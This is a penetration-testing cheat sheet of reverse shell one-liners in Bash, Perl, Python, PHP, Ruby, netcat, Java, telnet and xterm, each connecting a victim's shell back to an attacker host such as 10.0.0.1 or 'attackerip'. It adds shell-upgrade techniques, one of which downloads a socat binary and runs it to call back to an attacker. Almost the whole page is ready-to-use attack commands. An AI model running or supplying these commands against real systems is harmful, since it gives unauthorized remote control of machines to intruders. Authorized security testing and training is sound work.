Reverse Shell OneLiners

Spawn, catch & upgrade reverse shells

Reverse Shells

Bash

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

Alternatives for Bash shell:

exec /bin/bash 0&0 2>&0

0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196

exec 5<>/dev/tcp/attackerip/4444
cat <&5 | while read line; do $line 2>&5 >&5; done  # or:
while read line 0<&5; do $line 2>&5 >&5; done

PERL

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Shorter Perl reverse shell that does not depend on /bin/sh:

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

If the target system is running Windows use the following one-liner:

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Longer Ruby reverse shell that does not depend on /bin/sh:

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

If the target system is running Windows use the following one-liner:

ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Netcat

Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don’t support the -e option.

nc -e /bin/sh 10.0.0.1 1234

If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

Other nc alternatives:

nc -c /bin/sh attackerip 4444

/bin/sh | nc attackerip 4444

rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4444 0/tmp/p

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Telnet

rm -f /tmp/p; mknod /tmp/p p && telnet attackerip 4444 0/tmp/p

telnet attackerip 4444 | /bin/bash | telnet attackerip 4445   # Remember to listen on your machine also on port 4445/tcp

xterm

The following command should be run on the server. It will try to connect back to you (10.0.0.1) on TCP port 6001.

xterm -display 10.0.0.1

$ DISPLAY=attackerip:0 xterm

To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001). One way to do this is with Xnest (to be run on your system):

Xnest :1

You’ll need to authorise the target to connect to you (command also run on your host):

xhost +targetip

Note that on Solaris xterm path is usually not within the PATH environment variable, you need to specify its filepath:

/usr/openwin/bin/xterm -display attackerip:1

Shell Upgrades

Method 1: Python pty module

python -c 'import pty; pty.spawn("/bin/bash")'

Method 2: Using socat

On attack machine (listen):

socat file:\`tty\`,raw,echo=0 tcp-listen:4444

On Victim (launch):

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

Method 3: Upgrading from netcat with magic

In reverse shell:

python -c 'import pty; pty.spawn("/bin/bash")'

On attack machine:

stty raw -echo
fg

In reverse shell:

reset
export SHELL=bash
export TERM=xterm-256color
stty rows <num> columns <cols>

Method 4: Using script

script -qc /bin/bash /dev/null

Method 5: Using Other Scripting Languages

Perl:

perl -e 'exec "/bin/sh";'

Ruby:

ruby -e 'exec "/bin/sh"'

Lua:

lua -e "os.execute('/bin/sh')"

Method 6: Using socat one-liner

wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /dev/shm/socat; chmod +x /dev/shm/socat; /dev/shm/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.15.100:4444

Method 7: Using Expect

Create a script called sh.exp:

#!/usr/bin/expect
spawn sh
interact

Then, execute this script on the victim machine.

Method 8: Using rlwrap

rlwrap nc -lvnp

—

References

1. Reverse Shell Cheat Sheet | pentestmonkey. (n.d.). https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet 

2. Reverse shells one-liners. (n.d.). https://bernardodamele.blogspot.com/2011/09/reverse-shells-one-liners.html?m=1

3. ropnop blog. https:// blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/

4. zweilosec. https://zweilosec.github.io/posts/upgrade-linux-shell/

5. 0xffsec. https://0xffsec.com/handbook/shells/full-tty/